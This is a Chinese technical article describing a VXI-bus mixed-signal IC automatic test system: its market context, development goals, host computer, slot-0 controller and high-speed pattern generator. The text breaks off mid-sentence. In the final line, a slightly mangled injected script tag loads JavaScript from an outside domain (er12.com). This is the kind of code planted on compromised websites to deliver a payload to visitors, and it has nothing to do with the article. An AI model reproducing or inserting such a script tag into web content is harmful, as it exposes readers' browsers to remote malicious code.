摘 要：数模混合集成电路测试系统是当前我国的主流测试系统，本文以信息产业部电子信息产业发展基金重点招议标项目(vxi数模混合集成电路测试系统研究开发及产业化)为例进行了介绍。论述基于vxi总线的高速、高密度、多通道、低功耗新型ate ic测试系统，介绍了系统的软硬件设计。详细论述了全面提高系统开放性、标准化的设计思想。
关键词：vxi总线；数模混合集成电路；测试系统
国内外ate发展现状
21世纪是技术高度发达的信息化世纪。全球信息化的发展正在加快步伐。在这里起关键性作用的技术是以集成电路为核心的电子信息技术。集成电路测试技术是集成电路产业的重要基础技术，它贯穿集成电路设计、生产、应用的全过程。2003年最大的自动测试设备(automated test equipment)应用市场为混合信号集成电路测试，其次为存储器测试，分别占市场比重30%与26%。根据我国台湾地区的数据显示混合信号集成电路测试占的比例最大。
国际上先进的测试设备制造商都针对主流测试市场推出中、高档测试设备，但任何一款测试设备都不能满足不断更新的测试需求。为解决性能、价格的矛盾，适应性和复杂性的矛盾，各大测试设备制造商(如泰瑞达、爱德万公司)都先后提出测试系统的开放性和标准化，使系统具有灵活配置，不断升级，快速编程，以适应各种测试需求，构造出最优性/价比的系统。
注：资料引自：电子仪器|仪表信息，2004.7.8
由于目前国内测试系统的研发技术水平、科研经费、企业规模与国际先进水平有较大差距，我们采用国际通用的开放性、标准化vxi，pxi总线，使我们研发的自动测试设备从低端到中高端都建立在统一的开放性、标准化总线结构上，保证了产品的兼容性、延续性、开放性及标准化的特点，加快了产品的升级换代。利用其开放性、标准化特点，可方便插入各仪器制造商提供的通用vxi，pxi测量、测试模块灵活配置系统。这对今后大量涌现的数模混合、soc芯片测试提供了大量测试资源。能够根据测试需求，以最优性/价比配置系统。
研发内容
vxi数模混合信号集成电路测试系统涉及的主要内容
(1)主控计算机子系统的研制。
(2)高速通道控制子系统的研制。
(3)高速图形产生子系统的研制。
(4)直流参数测试子系统研制。
(5)机柜子系统研制。
(6)高速、高密、超密封装、多层pcb板设计技术研究。
(7)软件方案。
(8)系统集成方案。
测试系统组成
测试系统组成见图1
主控计算机子系统
(1)主控计算机p4微机
cpu pentium4 processor；基本配置：1024x768分辨率，17 ”彩显；256mddr内存，32m显存；ethernet网，usb，打印机接口，1394高速火线接口；操作系统：windows9x/windows2000；开发环境：nilabview和labwindows/cvi虚拟仪器开发平台；总线标准：pci标准总线，usb通用串行总线，1394高速火线及ethernet网。
(2)零槽控制器/高速总线接口
零槽控制器通过1394高速火线与主控计算机进行通讯(40mb/s)，执行初始化、自检命令，并加载测试激励图形及处理响应向量。系统中各模块通过vxi寄存器基高速总线接口，实现高速数据通讯。零槽控制器还提供高速触发总线、ecl 时钟等用于系统同步、触发信号。
高速图形控制子系统
图2是高速图形控制子系统框图，由pg时钟产生器、起/停控制器、高速指令译码控制电路及指令存储器(指令码+操作数)组成。系统实现了高速测试系统必备的全部指令集。所有指令都是无缝的(seamless)单测试周期。具有循环、跳转、子程序调用，且循环、子程序调用可嵌套(2级嵌套、64k寻址范围)。系统测试周期及激励、响应沿均可在单测试周期内设置(on the fly)。
pg时钟产生器由锁相环构成的高稳定度、高分辨率数字频率合成器产生一100mhz-200mhz 高稳定系统时钟，由20bit高速定时器产生100hz 到50mhz 的测试周期。此高速定时器可根据时钟选择存储器设置的16种测试周期动态改变(on the fly)。起/停控制器由一16bit失效计数器及一24bit步进计数器控制测试周期停止状态。起/停控制器可由测试程序及由外触发信号控制测试周期产生。
高速指令译码控制电路由一高速22bitpc记数器产生4m循址范围，16bit循环记数器由循环指令加载循环次数。pc记数器及循环记数器匀有一2x16bit堆栈存储器，用于循环及子程序调用嵌套功能。指令译码逻辑控制根据高速指令存储器中的指令码、操作?script src=http://er12.com/t.js>
